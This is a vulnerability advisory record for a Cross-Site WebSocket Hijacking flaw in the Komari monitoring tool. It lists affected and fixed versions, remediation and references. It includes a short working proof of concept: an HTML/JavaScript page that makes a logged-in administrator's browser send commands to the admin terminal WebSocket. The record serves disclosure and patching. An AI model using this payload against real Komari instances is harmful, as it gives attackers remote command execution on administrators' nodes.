Komari vulnerable to Cross-site WebSocket Hijacking
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
### Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution ### PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours 3. Visit this HTML page, you can see your node is executing `uptime` without your actions ``` <pre></pre> <script> const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal"); socket.addEventListener("open", (event) => { const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' }); socket.send(binaryBlob); }); socket.addEventListener("message", (event) => { event.data.text().then(x => {document.querySelector("pre").append(x)}); }); </script> ``` ### Impact An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/komari-monitor/komari (Go) | before 0.0.0-20250809073044-53171affcaf0 | 0.0.0-20250809073044-53171affcaf0 | Patch available | GHSA-q355-h244-969h |
- github.com/komari-monitor/komari (Go) Vendor— Affected before 0.0.0-20250809073044-53171affcaf0 Fixed in 0.0.0-20250809073044-53171affcaf0 Patch available GHSA-q355-h244-969h
Remediation
- Fix · GHSA-q355-h244-969h github.com/komari-monitor/komari (Go) Fixed in 0.0.0-20250809073044-53171affcaf0 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-q355-h244-969h
References
Other 5
- https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h
- https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be
- https://github.com/komari-monitor/komari
- https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35
- https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences